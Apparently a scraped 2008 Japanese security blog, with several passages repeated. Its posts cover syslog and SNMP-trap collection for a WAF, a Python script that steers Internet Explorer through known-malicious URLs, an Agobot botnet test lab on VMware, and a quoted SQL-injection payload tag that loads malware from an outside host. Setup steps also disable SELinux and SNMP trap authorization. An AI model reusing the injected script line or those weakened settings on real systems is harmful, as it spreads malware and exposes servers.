従来のsyslogだと、facilityやseverityをログに記録できない。syslogの後継とも言えるrsyslogだと、テンプレートを定義することでログフォーマットをカスタマイズできます。
# yum install rsyslog
# vi /etc/rsyslog.conf
# Template with PRI
$template mytemplate,"%PRI-text% %timegenerated% %msg%\n"
# Syslog messages from my device
local3.* /var/log/mydevice.log;mytemplate
外部から受け付けるときは、"-r"オプションで起動するよう「/etc/sysconfig/rsyslog」を編集。
あとはsyslogを停止して、rsyslogを起動するだけ。
2008年12月22日月曜日
Syslog / SNMP Trap
社内イントラサーバの手前にWAFを導入。
Syslog / SNMP-Trapで監視することに。
WAFからのSyslogはlocal3に割り当て。SNMP-Trapはlocal6としてSyslogへ記録。
# vi /etc/syslog.conf
# Syslog messages from waf
local3.debug /var/log/waf_debug
local3.info /var/log/waf_info
local3.notice /var/log/waf_notice
local3.warn /var/log/waf_warn
local3.err /var/log/waf_err
local3.crit /var/log/waf_crit
local3.alert /var/log/waf_alert
local3.emerg /var/log/waf_emerg
# SNMP-Trap
local6.* /var/log/snmptrap.log
外部からSyslogを受け付けるように、"-r"オプションを指定。
# vi /etc/sysconfig/syslog
SYSLOGD_OPTIONS="-m 0"
↓ 変更
SYSLOGD_OPTIONS="-r -m 0"
Syslogをリスタート。
# service syslog restart
なぜかポート514をリッスンしない。。SELinuxが原因であることが分かり、無効化。
# vi /etc/sysconfig/selinux
SELINUX=enforcing
↓ 変更
SELINUX=disabled
次にNet-SNMPのインストール。(インストールしたいのは、snmptrapd)
# yum install net-snmp
他にも関係ありそうなのを全部インストール。
# yum install net-snmp-utils net-snmp-perl net-snmp-devel
# rpm -aq |grep snmp
net-snmp-5.3.1-24.el5_2.2
net-snmp-devel-5.3.1-24.el5_2.2
net-snmp-utils-5.3.1-24.el5_2.2
net-snmp-libs-5.3.1-24.el5_2.2
net-snmp-perl-5.3.1-24.el5_2.2
設定ファイル(snmptrapd.conf)を新規作成。認証を無効化して外部からのTrapを受け付けるようにするだけ。
# vi /usr/share/snmp/snmptrapd.conf
disableAuthorization yes
snmptrapdをスタート。Syslogのlocal6のファシリティへ出力するようオプション指定。
# snmptrapd -Ls 6 -c /usr/share/snmp/snmptrapd.conf
起動後も実行されるように、rc.localへ記述。
# vi /etc/rc.d/rc.local
export MIBS=ALL
snmptrapd -Ls 6 -c /usr/local/share/snmp/snmptrapd.conf
プライベートMIBファイルは、 /usr/share/snmp/mibs の配下へコピーし、全てのMIBファイルを利用するように環境変数をセット。
"kill -HUP" でsnmptrapdをリスタート。
Syslog / SNMP-Trapで監視することに。
WAFからのSyslogはlocal3に割り当て。SNMP-Trapはlocal6としてSyslogへ記録。
# vi /etc/syslog.conf
# Syslog messages from waf
local3.debug /var/log/waf_debug
local3.info /var/log/waf_info
local3.notice /var/log/waf_notice
local3.warn /var/log/waf_warn
local3.err /var/log/waf_err
local3.crit /var/log/waf_crit
local3.alert /var/log/waf_alert
local3.emerg /var/log/waf_emerg
# SNMP-Trap
local6.* /var/log/snmptrap.log
外部からSyslogを受け付けるように、"-r"オプションを指定。
# vi /etc/sysconfig/syslog
SYSLOGD_OPTIONS="-m 0"
↓ 変更
SYSLOGD_OPTIONS="-r -m 0"
Syslogをリスタート。
# service syslog restart
なぜかポート514をリッスンしない。。SELinuxが原因であることが分かり、無効化。
# vi /etc/sysconfig/selinux
SELINUX=enforcing
↓ 変更
SELINUX=disabled
次にNet-SNMPのインストール。(インストールしたいのは、snmptrapd)
# yum install net-snmp
他にも関係ありそうなのを全部インストール。
# yum install net-snmp-utils net-snmp-perl net-snmp-devel
# rpm -aq |grep snmp
net-snmp-5.3.1-24.el5_2.2
net-snmp-devel-5.3.1-24.el5_2.2
net-snmp-utils-5.3.1-24.el5_2.2
net-snmp-libs-5.3.1-24.el5_2.2
net-snmp-perl-5.3.1-24.el5_2.2
設定ファイル(snmptrapd.conf)を新規作成。認証を無効化して外部からのTrapを受け付けるようにするだけ。
# vi /usr/share/snmp/snmptrapd.conf
disableAuthorization yes
snmptrapdをスタート。Syslogのlocal6のファシリティへ出力するようオプション指定。
# snmptrapd -Ls 6 -c /usr/share/snmp/snmptrapd.conf
起動後も実行されるように、rc.localへ記述。
# vi /etc/rc.d/rc.local
export MIBS=ALL
snmptrapd -Ls 6 -c /usr/local/share/snmp/snmptrapd.conf
プライベートMIBファイルは、 /usr/share/snmp/mibs の配下へコピーし、全てのMIBファイルを利用するように環境変数をセット。
"kill -HUP
2008年12月3日水曜日
自然科学研究機構の偽サイト?
http://www.nins.jp/
http://orbitalphase.com/
瓜二つの、二つのサイト。
上が本物。下は偽者?
何のため? フィッシングには見えないし。。
http://orbitalphase.com/
瓜二つの、二つのサイト。
上が本物。下は偽者?
何のため? フィッシングには見えないし。。
2008年11月28日金曜日
PythonからIEを呼び出し
最近、Webサイトを見ただけで、マルウェアに感染するケースが流行ってますね。。
とりあえず、ヤバいと言われているURLへブラウザ(IE)でアクセスして調査してみよう。。URLが2000くらいあるから、Pythonで自動巡回。
import time
import win32com.client
ie=win32com.client.Dispatch("InternetExplorer.Application")
ie.Visible=1
f = open("maliciousurls.txt")
for line in f:
ie.Navigate(line)
time.sleep(10)
とりあえず、ヤバいと言われているURLへブラウザ(IE)でアクセスして調査してみよう。。URLが2000くらいあるから、Pythonで自動巡回。
import time
import win32com.client
ie=win32com.client.Dispatch("InternetExplorer.Application")
ie.Visible=1
f = open("maliciousurls.txt")
for line in f:
ie.Navigate(line)
time.sleep(10)
2008年5月10日土曜日
VMware ServerでソンビPC10台
とりあえずAgobotで感染できるテスト環境はできたけど、やっぱゾンビPCが10台くらいないとボットネットって感じがしない。ということで、Dell PowerEdgeにメモリ4GBくっ付け、VMware Serverをインストール。で、ゲストOS(Win XP SPO)を10個構築。ようやくボットネットっぽくなってきたかな。以下、Fedora Core 5にVMware Serverをインストールしたときの履歴。
# wget http://download3.vmware.com/software/vmserver/VMware-server-1.0.3-44356.i386.rpm
# rpm -Uvh VMware-server-1.0.3-44356.i386.rpm
# vmware-config.pl
What is the location of the directory of C header files that match your running
kernel? [/usr/src/linux/include]
The path "/usr/src/linux/include" is not an existing directory.
あれ、、、
# yum install kernel-devel
で
/lib/modules/2.6.20-1.2320.fc5/build/include
を指定して解決。
でも、また、、、
Unable to build the vmmon module.
For more information on how to troubleshoot module-related problems, please
visit our Web site at "http://www.vmware.com/download/modules/modules.html" and
"http://www.vmware.com/support/reference/linux/prebuilt_modules_linux.html".
Execution aborted.
となるが、
# wget http://platan.vc.cvut.cz/ftp/pub/vmware/vmware-any-any-update115.tar.gz
# tar zxvf vmware-any-any-update115.tar.gz
# cd vmware-any-any-update115
# ./runme.pl
で、OK。尻入れて、終了。
# wget http://download3.vmware.com/software/vmserver/VMware-mui-1.0.3-44356.tar.gz
# tar xvzf VMware-mui-1.0.3-44356.tar.gz
# cd vmware-mui-distrib/
# ./vmware-install.pl
# grep ^Port /usr/lib/vmware-mui/apache/conf/httpd.conf
Port 8222
# service httpd.vmware start
# service vmware start
VMware Server is installed, but it has not been (correctly) configured
for the running kernel. To (re-)configure it, invoke the
following command: /usr/bin/vmware-config.pl.
あれ。
# cd /etc/vmware
# mv not_configured not_configured.bak
で解決。
Web用8222番とConsole用902番をFirewallで許可。
# wget http://download3.vmware.com/software/vmserver/VMware-server-1.0.3-44356.i386.rpm
# rpm -Uvh VMware-server-1.0.3-44356.i386.rpm
# vmware-config.pl
What is the location of the directory of C header files that match your running
kernel? [/usr/src/linux/include]
The path "/usr/src/linux/include" is not an existing directory.
あれ、、、
# yum install kernel-devel
で
/lib/modules/2.6.20-1.2320.fc5/build/include
を指定して解決。
でも、また、、、
Unable to build the vmmon module.
For more information on how to troubleshoot module-related problems, please
visit our Web site at "http://www.vmware.com/download/modules/modules.html" and
"http://www.vmware.com/support/reference/linux/prebuilt_modules_linux.html".
Execution aborted.
となるが、
# wget http://platan.vc.cvut.cz/ftp/pub/vmware/vmware-any-any-update115.tar.gz
# tar zxvf vmware-any-any-update115.tar.gz
# cd vmware-any-any-update115
# ./runme.pl
で、OK。尻入れて、終了。
# wget http://download3.vmware.com/software/vmserver/VMware-mui-1.0.3-44356.tar.gz
# tar xvzf VMware-mui-1.0.3-44356.tar.gz
# cd vmware-mui-distrib/
# ./vmware-install.pl
# grep ^Port /usr/lib/vmware-mui/apache/conf/httpd.conf
Port 8222
# service httpd.vmware start
# service vmware start
VMware Server is installed, but it has not been (correctly) configured
for the running kernel. To (re-)configure it, invoke the
following command: /usr/bin/vmware-config.pl.
あれ。
# cd /etc/vmware
# mv not_configured not_configured.bak
で解決。
Web用8222番とConsole用902番をFirewallで許可。
2008年4月23日水曜日
ボット・ハーダのアカウント取得を試みる。
2117966。net、414151。com に続き
http://www。2117966。net/fuckjp.js や http://www。414151。com/fjp.js に続き、
以下のリンクを埋め込まれてるサイトがいくつも。。。またSQLインジェクションで攻撃された模様。
<script src=http://www。nihaorr1。com/1.js>
(↑ マルウェアに感染するのでアクセスしないように。)
Whoisで確認すると、またもや中国。しかし、今度は日本のサイトだけがターゲットになっているわけではない模様。最終的にオンラインゲームのパスワードかなんかを盗むマルウェアに感染するみたい。一次検体は、VirustotalによるとKasperskyでも検知できず。
以下のリンクを埋め込まれてるサイトがいくつも。。。またSQLインジェクションで攻撃された模様。
<script src=http://www。nihaorr1。com/1.js>
(↑ マルウェアに感染するのでアクセスしないように。)
Whoisで確認すると、またもや中国。しかし、今度は日本のサイトだけがターゲットになっているわけではない模様。最終的にオンラインゲームのパスワードかなんかを盗むマルウェアに感染するみたい。一次検体は、VirustotalによるとKasperskyでも検知できず。
登録:
投稿 (Atom)